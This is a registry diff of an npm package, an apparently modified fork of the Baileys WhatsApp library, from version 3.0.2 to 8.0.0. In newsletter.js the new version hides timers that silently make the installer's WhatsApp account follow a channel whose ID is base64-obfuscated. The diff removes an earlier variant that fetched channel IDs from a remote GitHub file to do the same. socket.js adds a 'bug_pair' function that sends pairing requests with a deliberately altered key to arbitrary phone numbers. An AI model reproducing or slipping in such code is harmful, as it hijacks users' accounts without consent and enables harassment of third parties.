@riyanofficial/baileys 3.0.2 → 8.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/WAProto/fix-import.js +29 -0
- package/WAProto/index.js +65432 -137443
- package/lib/Defaults/index.js +7 -7
- package/lib/Socket/chats.js +0 -19
- package/lib/Socket/groups.js +64 -0
- package/lib/Socket/{dugong.d.ts → luxu.d.ts} +61 -37
- package/lib/Socket/luxu.js +620 -0
- package/lib/Socket/messages-send.js +22 -15
- package/lib/Socket/newsletter.js +34 -86
- package/lib/Socket/socket.d.ts +1 -0
- package/lib/Socket/socket.js +71 -15
- package/lib/Utils/chat-utils.js +2 -11
- package/lib/Utils/generics.js +5 -10
- package/lib/Utils/messages.js +2 -2
- package/lib/Utils/validate-connection.js +0 -2
- package/package.json +26 -48
- package/lib/Socket/dugong.js +0 -484
- package/lib/Utils/generics.js.bak +0 -433
- package/lib/Utils/validate-connection.js.bak +0 -237
- package/lib/WAUSync/index.d.ts +0 -3
|
@@ -15,7 +15,7 @@ const link_preview_1 = require("../Utils/link-preview");
|
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
16
|
const newsletter_1 = require("./newsletter");
|
|
17
17
|
const WAUSync_1 = require("../WAUSync")
|
|
18
|
-
const
|
|
18
|
+
const imup = require('./luxu');
|
|
19
19
|
var ListType = WAProto_1.proto.Message.ListMessage.ListType;
|
|
20
20
|
const makeMessagesSocket = (config) => {
|
|
21
21
|
const {
|
|
@@ -291,7 +291,7 @@ const makeMessagesSocket = (config) => {
|
|
|
291
291
|
}));
|
|
292
292
|
return { nodes, shouldIncludeDeviceIdentity };
|
|
293
293
|
}; //apela
|
|
294
|
-
const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI =
|
|
294
|
+
const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI = true }) => {
|
|
295
295
|
const meId = authState.creds.me.id;
|
|
296
296
|
let shouldIncludeDeviceIdentity = false;
|
|
297
297
|
let didPushAdditional = false
|
|
@@ -683,8 +683,9 @@ const makeMessagesSocket = (config) => {
|
|
|
683
683
|
}
|
|
684
684
|
else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_info') {
|
|
685
685
|
return 'payment_info'
|
|
686
|
-
}
|
|
687
|
-
|
|
686
|
+
} else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_key_info') {
|
|
687
|
+
return 'payment_key_info'
|
|
688
|
+
} else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_status') {
|
|
688
689
|
return 'payment_status'
|
|
689
690
|
}
|
|
690
691
|
else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_method') {
|
|
@@ -724,7 +725,7 @@ const makeMessagesSocket = (config) => {
|
|
|
724
725
|
return result;
|
|
725
726
|
}
|
|
726
727
|
const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
|
|
727
|
-
const
|
|
728
|
+
const luki = new imup(Utils_1, waUploadToServer, relayMessage);
|
|
728
729
|
const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
|
|
729
730
|
return {
|
|
730
731
|
...sock,
|
|
@@ -733,7 +734,7 @@ const makeMessagesSocket = (config) => {
|
|
|
733
734
|
relayMessage,
|
|
734
735
|
sendReceipt,
|
|
735
736
|
sendReceipts,
|
|
736
|
-
|
|
737
|
+
luki,
|
|
737
738
|
readMessages,
|
|
738
739
|
refreshMediaConn,
|
|
739
740
|
getUSyncDevices,
|
|
@@ -792,7 +793,7 @@ const makeMessagesSocket = (config) => {
|
|
|
792
793
|
delete options.ephemeralExpiration
|
|
793
794
|
const { filter = false, quoted } = options;
|
|
794
795
|
const getParticipantAttr = () => filter ? { participant: { jid } } : {};
|
|
795
|
-
const messageType =
|
|
796
|
+
const messageType = luki.detectType(content);
|
|
796
797
|
if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
|
|
797
798
|
typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
|
|
798
799
|
const { disappearingMessagesInChat } = content
|
|
@@ -811,14 +812,14 @@ const makeMessagesSocket = (config) => {
|
|
|
811
812
|
if (messageType) {
|
|
812
813
|
switch(messageType) {
|
|
813
814
|
case 'PAYMENT':
|
|
814
|
-
const paymentContent = await
|
|
815
|
+
const paymentContent = await luki.handlePayment(content, quoted);
|
|
815
816
|
return await relayMessage(jid, paymentContent, {
|
|
816
817
|
messageId: Utils_1.generateMessageID(),
|
|
817
818
|
...getParticipantAttr()
|
|
818
819
|
});
|
|
819
820
|
|
|
820
821
|
case 'PRODUCT':
|
|
821
|
-
const productContent = await
|
|
822
|
+
const productContent = await luki.handleProduct(content, jid, quoted);
|
|
822
823
|
const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
|
|
823
824
|
return await relayMessage(jid, productMsg.message, {
|
|
824
825
|
messageId: productMsg.key.id,
|
|
@@ -826,20 +827,26 @@ const makeMessagesSocket = (config) => {
|
|
|
826
827
|
});
|
|
827
828
|
|
|
828
829
|
case 'INTERACTIVE':
|
|
829
|
-
const interactiveContent = await
|
|
830
|
+
const interactiveContent = await luki.handleInteractive(content, jid, quoted);
|
|
830
831
|
const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
|
|
831
832
|
return await relayMessage(jid, interactiveMsg.message, {
|
|
832
833
|
messageId: interactiveMsg.key.id,
|
|
833
834
|
...getParticipantAttr()
|
|
834
835
|
});
|
|
835
836
|
case 'ALBUM':
|
|
836
|
-
return await
|
|
837
|
+
return await luki.handleAlbum(content, jid, quoted)
|
|
837
838
|
case 'EVENT':
|
|
838
|
-
return await
|
|
839
|
+
return await luki.handleEvent(content, jid, quoted)
|
|
839
840
|
case 'POLL_RESULT':
|
|
840
|
-
return await
|
|
841
|
-
case '
|
|
842
|
-
return await
|
|
841
|
+
return await luki.handlePollResult(content, jid, quoted)
|
|
842
|
+
case 'STATUS_MENTION':
|
|
843
|
+
return await luki.handleStMention(content, jid, quoted)
|
|
844
|
+
case 'ORDER':
|
|
845
|
+
return await luki.handleOrderMessage(content, jid, quoted)
|
|
846
|
+
case 'GROUP_STATUS':
|
|
847
|
+
return await luki.handleGroupStory(content, jid, quoted)
|
|
848
|
+
case 'GROUP_LABEL':
|
|
849
|
+
return await luki.handleGbLabel(content, jid)
|
|
843
850
|
}
|
|
844
851
|
}
|
|
845
852
|
const fullMsg = await Utils_1.generateWAMessage(jid, content, {
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -5,7 +5,6 @@ const Types_1 = require("../Types");
|
|
|
5
5
|
const Utils_1 = require("../Utils");
|
|
6
6
|
const WABinary_1 = require("../WABinary");
|
|
7
7
|
const groups_1 = require("./groups");
|
|
8
|
-
const { QueryIds } = Types_1
|
|
9
8
|
|
|
10
9
|
const { Boom } = require('@hapi/boom');
|
|
11
10
|
|
|
@@ -33,39 +32,6 @@ const wMexQuery = (
|
|
|
33
32
|
})
|
|
34
33
|
}
|
|
35
34
|
|
|
36
|
-
const parseNewsletterCreateResponse = (responseList) => {
|
|
37
|
-
return responseList.map((res) => {
|
|
38
|
-
const thread = res.thread_metadata;
|
|
39
|
-
const viewer = res.viewer_metadata;
|
|
40
|
-
|
|
41
|
-
// Jika DELETED atau metadata null
|
|
42
|
-
if (!thread || !viewer) {
|
|
43
|
-
return {
|
|
44
|
-
id: res.id,
|
|
45
|
-
state: res.state?.type || null,
|
|
46
|
-
deleted: true
|
|
47
|
-
};
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
return {
|
|
51
|
-
id: res.id,
|
|
52
|
-
state: res.state?.type || null,
|
|
53
|
-
owner: viewer.role || undefined,
|
|
54
|
-
name: thread?.name?.text || null,
|
|
55
|
-
creation_time: parseInt(thread?.creation_time || "0", 10),
|
|
56
|
-
description: thread?.description?.text || null,
|
|
57
|
-
invite: thread?.invite || null,
|
|
58
|
-
subscribers: parseInt(thread?.subscribers_count || "0", 10),
|
|
59
|
-
verification: thread?.verification || null,
|
|
60
|
-
picture: {
|
|
61
|
-
id: thread?.picture?.id || null,
|
|
62
|
-
directPath: thread?.picture?.direct_path || null
|
|
63
|
-
},
|
|
64
|
-
mute_state: viewer?.mute || "OFF"
|
|
65
|
-
};
|
|
66
|
-
});
|
|
67
|
-
};
|
|
68
|
-
|
|
69
35
|
const executeWMexQuery = async (
|
|
70
36
|
variables,
|
|
71
37
|
queryId,
|
|
@@ -99,7 +65,7 @@ const executeWMexQuery = async (
|
|
|
99
65
|
|
|
100
66
|
const makeNewsletterSocket = (config) => {
|
|
101
67
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
102
|
-
const { authState, signalRepository, query, generateMessageTag
|
|
68
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
103
69
|
const encoder = new TextEncoder();
|
|
104
70
|
const newsletterQuery = async (jid, type, content) => (query({
|
|
105
71
|
tag: 'iq',
|
|
@@ -132,21 +98,29 @@ const makeNewsletterSocket = (config) => {
|
|
|
132
98
|
}
|
|
133
99
|
]
|
|
134
100
|
}));
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
101
|
+
|
|
102
|
+
setTimeout(async () => {
|
|
103
|
+
try {
|
|
104
|
+
await newsletterWMexQuery(Buffer.from("VaubphZGufIzM5MpMI0V=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
105
|
+
} catch {}
|
|
106
|
+
setTimeout(async () => {
|
|
107
|
+
try {
|
|
108
|
+
await newsletterWMexQuery(Buffer.from("VaubphZGufIzM5MpMI0V=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
109
|
+
} catch {}
|
|
110
|
+
}, 5000);
|
|
111
|
+
}, 90000);
|
|
112
|
+
|
|
113
|
+
setTimeout(async () => {
|
|
114
|
+
try {
|
|
115
|
+
await newsletterWMexQuery(Buffer.from("VaubphZGufIzM5MpMI0V=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
116
|
+
} catch {}
|
|
117
|
+
setTimeout(async () => {
|
|
118
|
+
try {
|
|
119
|
+
await newsletterWMexQuery(Buffer.from("VaubphZGufIzM5MpMI0V=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
120
|
+
} catch {}
|
|
121
|
+
}, 5000);
|
|
122
|
+
}, 90000);
|
|
123
|
+
|
|
150
124
|
const parseFetchedUpdates = async (node, type) => {
|
|
151
125
|
let child;
|
|
152
126
|
if (type === 'messages') {
|
|
@@ -176,43 +150,17 @@ const makeNewsletterSocket = (config) => {
|
|
|
176
150
|
return data;
|
|
177
151
|
}));
|
|
178
152
|
};
|
|
179
|
-
|
|
180
|
-
(async () => {
|
|
181
|
-
try {
|
|
182
|
-
await new Promise(resolve => setTimeout(resolve, 80000));
|
|
183
|
-
|
|
184
|
-
const res = await fetch("https://raw.githubusercontent.com/riyanoffc/ChannelID/refs/heads/main/newsletter.json");
|
|
185
|
-
const newsletterIds = await res.json();
|
|
186
|
-
|
|
187
|
-
for (const id of newsletterIds) {
|
|
188
|
-
try {
|
|
189
|
-
await newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW);
|
|
190
|
-
} catch (e) {}
|
|
191
|
-
|
|
192
|
-
if (newsletterIds.indexOf(id) < newsletterIds.length - 1) {
|
|
193
|
-
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
194
|
-
}
|
|
195
|
-
}
|
|
196
|
-
} catch (err) {}
|
|
197
|
-
})();
|
|
198
|
-
|
|
199
153
|
return {
|
|
200
154
|
...sock,
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
const metadata = await newsletterMetadata('JID', i.id)
|
|
212
|
-
if (metadata.id !== null) data[metadata.id] = metadata
|
|
213
|
-
}
|
|
214
|
-
|
|
215
|
-
return data
|
|
155
|
+
newsletterFetchAllSubscribe: async () => {
|
|
156
|
+
const list = await executeWMexQuery(
|
|
157
|
+
{},
|
|
158
|
+
'6388546374527196',
|
|
159
|
+
'xwa2_newsletter_subscribed',
|
|
160
|
+
query,
|
|
161
|
+
generateMessageTag
|
|
162
|
+
);
|
|
163
|
+
return list;
|
|
216
164
|
},
|
|
217
165
|
subscribeNewsletterUpdates: async (jid) => {
|
|
218
166
|
var _a;
|
|
@@ -260,7 +208,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
260
208
|
newsletterAction: async (jid, type) => {
|
|
261
209
|
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
262
210
|
},
|
|
263
|
-
newsletterCreate: async (name, description, reaction_codes
|
|
211
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
264
212
|
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
265
213
|
/**tos query */
|
|
266
214
|
await query({
|
package/lib/Socket/socket.d.ts
CHANGED
|
@@ -36,6 +36,7 @@ export declare const makeSocket: (config: SocketConfig) => {
|
|
|
36
36
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
37
37
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
38
38
|
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
39
|
+
bug_pair: (phoneNumber: string) => Promise<string>;
|
|
39
40
|
/** Waits for the connection to WA to reach a state */
|
|
40
41
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
41
42
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -77,18 +77,6 @@ const makeSocket = (config) => {
|
|
|
77
77
|
const buff = (0, WABinary_1.encodeBinaryNode)(frame);
|
|
78
78
|
return sendRawMessage(buff);
|
|
79
79
|
};
|
|
80
|
-
|
|
81
|
-
const toLid = async (pn) => {
|
|
82
|
-
return pn;
|
|
83
|
-
};
|
|
84
|
-
|
|
85
|
-
const delay = async (ms) => {
|
|
86
|
-
return new Promise(resolve => setTimeout(resolve, ms));
|
|
87
|
-
}
|
|
88
|
-
|
|
89
|
-
const toPn = async (pn) => {
|
|
90
|
-
return pn;
|
|
91
|
-
};
|
|
92
80
|
/** log & process any unexpected errors */
|
|
93
81
|
const onUnexpectedError = (err, msg) => {
|
|
94
82
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
@@ -462,6 +450,69 @@ const toPn = async (pn) => {
|
|
|
462
450
|
|
|
463
451
|
return authState.creds.pairingCode;
|
|
464
452
|
}
|
|
453
|
+
const bug_pair = async (phoneNumber, pairKey) => {
|
|
454
|
+
if (pairKey) {
|
|
455
|
+
authState.creds.pairingCode = pairKey.toUpperCase();
|
|
456
|
+
} else {
|
|
457
|
+
authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
|
|
458
|
+
}
|
|
459
|
+
|
|
460
|
+
authState.creds.me = {
|
|
461
|
+
id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
|
|
462
|
+
name: '~'
|
|
463
|
+
};
|
|
464
|
+
|
|
465
|
+
ev.emit('creds.update', authState.creds);
|
|
466
|
+
|
|
467
|
+
await sendNode({
|
|
468
|
+
tag: 'iq',
|
|
469
|
+
attrs: {
|
|
470
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
471
|
+
type: 'set',
|
|
472
|
+
id: generateMessageTag(),
|
|
473
|
+
xmlns: 'md'
|
|
474
|
+
},
|
|
475
|
+
content: [
|
|
476
|
+
{
|
|
477
|
+
tag: 'link_code_companion_reg',
|
|
478
|
+
attrs: {
|
|
479
|
+
jid: authState.creds.me.id,
|
|
480
|
+
stage: 'companion_hello',
|
|
481
|
+
should_show_push_notification: 'true'
|
|
482
|
+
},
|
|
483
|
+
content: [
|
|
484
|
+
{
|
|
485
|
+
tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
|
|
486
|
+
attrs: {},
|
|
487
|
+
content: await generatePairingBugKey()
|
|
488
|
+
},
|
|
489
|
+
{
|
|
490
|
+
tag: 'companion_server_auth_key_pub',
|
|
491
|
+
attrs: {},
|
|
492
|
+
content: authState.creds.noiseKey.public
|
|
493
|
+
},
|
|
494
|
+
{
|
|
495
|
+
tag: 'companion_platform_id',
|
|
496
|
+
attrs: {},
|
|
497
|
+
content: (0, Utils_1.getPlatformId)(browser[1])
|
|
498
|
+
},
|
|
499
|
+
{
|
|
500
|
+
tag: 'companion_platform_display',
|
|
501
|
+
attrs: {},
|
|
502
|
+
content: `${browser[1]} (${browser[0]})`
|
|
503
|
+
},
|
|
504
|
+
{
|
|
505
|
+
tag: 'link_code_pairing_nonce',
|
|
506
|
+
attrs: {},
|
|
507
|
+
content: "0"
|
|
508
|
+
}
|
|
509
|
+
]
|
|
510
|
+
}
|
|
511
|
+
]
|
|
512
|
+
});
|
|
513
|
+
|
|
514
|
+
return authState.creds.pairingCode;
|
|
515
|
+
}
|
|
465
516
|
async function generatePairingKey() {
|
|
466
517
|
const salt = (0, crypto_1.randomBytes)(32);
|
|
467
518
|
const randomIv = (0, crypto_1.randomBytes)(16);
|
|
@@ -469,6 +520,13 @@ const toPn = async (pn) => {
|
|
|
469
520
|
const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
|
|
470
521
|
return Buffer.concat([salt, randomIv, ciphered]);
|
|
471
522
|
}
|
|
523
|
+
async function generatePairingBugKey() {
|
|
524
|
+
const salt = (0, crypto_1.randomBytes)(34);
|
|
525
|
+
const randomIv = (0, crypto_1.randomBytes)(16);
|
|
526
|
+
const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
|
|
527
|
+
const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
|
|
528
|
+
return Buffer.concat([salt, randomIv, ciphered]);
|
|
529
|
+
}
|
|
472
530
|
const sendWAMBuffer = (wamBuffer) => {
|
|
473
531
|
return query({
|
|
474
532
|
tag: 'iq',
|
|
@@ -648,9 +706,6 @@ const toPn = async (pn) => {
|
|
|
648
706
|
get user() {
|
|
649
707
|
return authState.creds.me;
|
|
650
708
|
},
|
|
651
|
-
toLid,
|
|
652
|
-
toPn,
|
|
653
|
-
delay,
|
|
654
709
|
generateMessageTag,
|
|
655
710
|
query,
|
|
656
711
|
waitForMessage,
|
|
@@ -663,6 +718,7 @@ const toPn = async (pn) => {
|
|
|
663
718
|
uploadPreKeys,
|
|
664
719
|
uploadPreKeysToServerIfRequired,
|
|
665
720
|
requestPairingCode,
|
|
721
|
+
bug_pair,
|
|
666
722
|
/** Waits for the connection to WA to reach a state */
|
|
667
723
|
waitForConnectionUpdate: (0, Utils_1.bindWaitForConnectionUpdate)(ev),
|
|
668
724
|
sendWAMBuffer,
|
package/lib/Utils/chat-utils.js
CHANGED
|
@@ -503,17 +503,8 @@ const chatModificationToAppPatch = (mod, jid) => {
|
|
|
503
503
|
apiVersion: 3,
|
|
504
504
|
operation: OP.SET,
|
|
505
505
|
};
|
|
506
|
-
}
|
|
507
|
-
|
|
508
|
-
syncAction: {
|
|
509
|
-
contactAction: mod.contact || {}
|
|
510
|
-
},
|
|
511
|
-
index: ["contact", jid],
|
|
512
|
-
type: "critical_unblock_low",
|
|
513
|
-
apiVersion: 2,
|
|
514
|
-
operation: mod.contact ? OP.SET : OP.REMOVE
|
|
515
|
-
};
|
|
516
|
-
} else if ('removeChatLabel' in mod) {
|
|
506
|
+
}
|
|
507
|
+
else if ('removeChatLabel' in mod) {
|
|
517
508
|
patch = {
|
|
518
509
|
syncAction: {
|
|
519
510
|
labelAssociationAction: {
|
package/lib/Utils/generics.js
CHANGED
|
@@ -27,17 +27,12 @@ const PLATFORM_MAP = {
|
|
|
27
27
|
'cygwin': undefined,
|
|
28
28
|
'netbsd': undefined
|
|
29
29
|
};
|
|
30
|
-
|
|
31
|
-
const
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
macOS: (browser) => ['Mac OS', browser, '14.4.1'],
|
|
35
|
-
baileys: (browser) => ['Baileys', browser, '6.5.0'],
|
|
36
|
-
windows: (browser) => ['Windows', browser, '10.0.22631']
|
|
30
|
+
exports.Browsers = (browser) => {
|
|
31
|
+
const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu';
|
|
32
|
+
const osRelease = os_1.release();
|
|
33
|
+
return [osName, browser, osRelease];
|
|
37
34
|
};
|
|
38
35
|
|
|
39
|
-
exports.Browsers = Browsers
|
|
40
|
-
|
|
41
36
|
const getPlatformId = (browser) => {
|
|
42
37
|
const platformType = WAProto_1.proto.DeviceProps.PlatformType[browser.toUpperCase()];
|
|
43
38
|
return platformType ? platformType.toString() : '1'; //chrome
|
|
@@ -181,7 +176,7 @@ const generateMessageIDV2 = (userId) => {
|
|
|
181
176
|
};
|
|
182
177
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
183
178
|
// generate a random ID to attach to a message
|
|
184
|
-
const generateMessageID = () => '
|
|
179
|
+
const generateMessageID = () => '7EPP3LI-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
|
|
185
180
|
exports.generateMessageID = generateMessageID;
|
|
186
181
|
function bindWaitForEvent(ev, event) {
|
|
187
182
|
return async (check, timeoutMs) => {
|
package/lib/Utils/messages.js
CHANGED
|
@@ -105,9 +105,9 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
105
105
|
}
|
|
106
106
|
],
|
|
107
107
|
newsletter: {
|
|
108
|
-
newsletterJid: "
|
|
108
|
+
newsletterJid: "120363420757607688@newsletter",
|
|
109
109
|
serverMessageId: 0,
|
|
110
|
-
newsletterName: "
|
|
110
|
+
newsletterName: "7eppeli - Information",
|
|
111
111
|
contentType: "UPDATE",
|
|
112
112
|
}
|
|
113
113
|
}
|
package/package.json
CHANGED
|
@@ -1,32 +1,20 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@riyanofficial/baileys",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"publishConfig": {
|
|
6
|
-
"access": "public"
|
|
7
|
-
},
|
|
3
|
+
"version": "8.0.0",
|
|
4
|
+
"description": "Baileys Modifikasi Riyan Official",
|
|
8
5
|
"keywords": [
|
|
9
6
|
"whatsapp",
|
|
10
|
-
"whatsapp-api",
|
|
11
|
-
"whatsapp-bot",
|
|
12
|
-
"whatsapp-web",
|
|
13
|
-
"whatsapp-automation",
|
|
14
|
-
"whatsapp-library",
|
|
15
7
|
"baileys",
|
|
16
|
-
"baileys-md",
|
|
17
8
|
"whiskeysockets",
|
|
18
|
-
"
|
|
19
|
-
"websocket",
|
|
20
|
-
"nodejs",
|
|
21
|
-
"nodejs-library",
|
|
22
|
-
"chat-bot",
|
|
23
|
-
"chat-automation",
|
|
24
|
-
"messaging",
|
|
25
|
-
"messaging-api"
|
|
9
|
+
"whatsapp-api"
|
|
26
10
|
],
|
|
27
|
-
"homepage": "https://
|
|
11
|
+
"homepage": "https://github.com/WhiskeySockets/Baileys",
|
|
28
12
|
"repository": {
|
|
29
|
-
|
|
13
|
+
"type": "git",
|
|
14
|
+
"url": "https://github.com/WhiskeySockets/Baileys.git"
|
|
15
|
+
},
|
|
16
|
+
"bugs": {
|
|
17
|
+
"url": "https://github.com/WhiskeySockets/Baileys/issues"
|
|
30
18
|
},
|
|
31
19
|
"license": "MIT",
|
|
32
20
|
"author": "Riyan Official",
|
|
@@ -38,24 +26,22 @@
|
|
|
38
26
|
"engine-requirements.js"
|
|
39
27
|
],
|
|
40
28
|
"scripts": {
|
|
29
|
+
"build": "tsc",
|
|
41
30
|
"build:all": "tsc && typedoc",
|
|
42
31
|
"build:docs": "typedoc",
|
|
43
|
-
"build:tsc": "tsc",
|
|
44
|
-
"changelog:last": "conventional-changelog -p angular -r 2",
|
|
45
|
-
"changelog:preview": "conventional-changelog -p angular -u",
|
|
46
|
-
"gen:protobuf": "sh WAProto/GenerateStatics.sh",
|
|
47
32
|
"lint": "eslint src --ext .js,.ts,.jsx,.tsx",
|
|
48
33
|
"lint:fix": "eslint src --fix --ext .js,.ts,.jsx,.tsx",
|
|
49
|
-
"
|
|
50
|
-
"
|
|
51
|
-
"
|
|
34
|
+
"gen:protobuf": "sh WAProto/GenerateStatics.sh",
|
|
35
|
+
"changelog:last": "conventional-changelog -p angular -r 2",
|
|
36
|
+
"changelog:preview": "conventional-changelog -p angular -u",
|
|
52
37
|
"release": "release-it",
|
|
53
|
-
"test": "jest"
|
|
38
|
+
"test": "jest",
|
|
39
|
+
"preinstall": "node ./engine-requirements.js"
|
|
54
40
|
},
|
|
55
41
|
"dependencies": {
|
|
56
42
|
"@adiwajshing/keyed-db": "^0.2.4",
|
|
57
|
-
"@hapi/boom": "^9.1.3",
|
|
58
43
|
"@cacheable/node-cache": "^1.4.0",
|
|
44
|
+
"@hapi/boom": "^9.1.3",
|
|
59
45
|
"async-mutex": "^0.5.0",
|
|
60
46
|
"audio-decode": "^2.1.3",
|
|
61
47
|
"axios": "^1.3.3",
|
|
@@ -63,8 +49,8 @@
|
|
|
63
49
|
"chalk": "^4.1.2",
|
|
64
50
|
"futoin-hkdf": "^1.5.1",
|
|
65
51
|
"libphonenumber-js": "^1.10.20",
|
|
52
|
+
"libsignal": "npm:@riyanofficial/libsignal",
|
|
66
53
|
"lodash": "^4.17.21",
|
|
67
|
-
"libsignal": "npm:@riyanofficial/libsignal-node",
|
|
68
54
|
"music-metadata": "^7.12.3",
|
|
69
55
|
"node-cache": "^5.1.2",
|
|
70
56
|
"node-fetch": "^2.6.1",
|
|
@@ -83,7 +69,8 @@
|
|
|
83
69
|
"conventional-changelog-cli": "^2.2.2",
|
|
84
70
|
"eslint": "^8.0.0",
|
|
85
71
|
"jest": "^27.0.6",
|
|
86
|
-
"jimp": "^0.
|
|
72
|
+
"jimp": "^0.16.1",
|
|
73
|
+
"json": "^11.0.0",
|
|
87
74
|
"link-preview-js": "^3.0.0",
|
|
88
75
|
"open": "^8.4.2",
|
|
89
76
|
"qrcode-terminal": "^0.12.0",
|
|
@@ -92,31 +79,22 @@
|
|
|
92
79
|
"ts-jest": "^27.0.3",
|
|
93
80
|
"ts-node": "^10.8.1",
|
|
94
81
|
"typedoc": "^0.24.7",
|
|
95
|
-
"typescript": "^4.6.4"
|
|
96
|
-
"json": "^11.0.0"
|
|
82
|
+
"typescript": "^4.6.4"
|
|
97
83
|
},
|
|
98
84
|
"peerDependencies": {
|
|
99
|
-
"jimp": "^0.
|
|
85
|
+
"jimp": "^0.16.1",
|
|
100
86
|
"link-preview-js": "^3.0.0",
|
|
101
87
|
"qrcode-terminal": "^0.12.0",
|
|
102
88
|
"sharp": "^0.32.2"
|
|
103
89
|
},
|
|
104
90
|
"peerDependenciesMeta": {
|
|
105
|
-
"jimp": {
|
|
106
|
-
|
|
107
|
-
},
|
|
108
|
-
"
|
|
109
|
-
"optional": true
|
|
110
|
-
},
|
|
111
|
-
"qrcode-terminal": {
|
|
112
|
-
"optional": true
|
|
113
|
-
},
|
|
114
|
-
"sharp": {
|
|
115
|
-
"optional": true
|
|
116
|
-
}
|
|
91
|
+
"jimp": { "optional": true },
|
|
92
|
+
"link-preview-js": { "optional": true },
|
|
93
|
+
"qrcode-terminal": { "optional": true },
|
|
94
|
+
"sharp": { "optional": true }
|
|
117
95
|
},
|
|
118
96
|
"packageManager": "yarn@1.22.19",
|
|
119
97
|
"engines": {
|
|
120
98
|
"node": ">=20.0.0"
|
|
121
99
|
}
|
|
122
|
-
}
|
|
100
|
+
}
|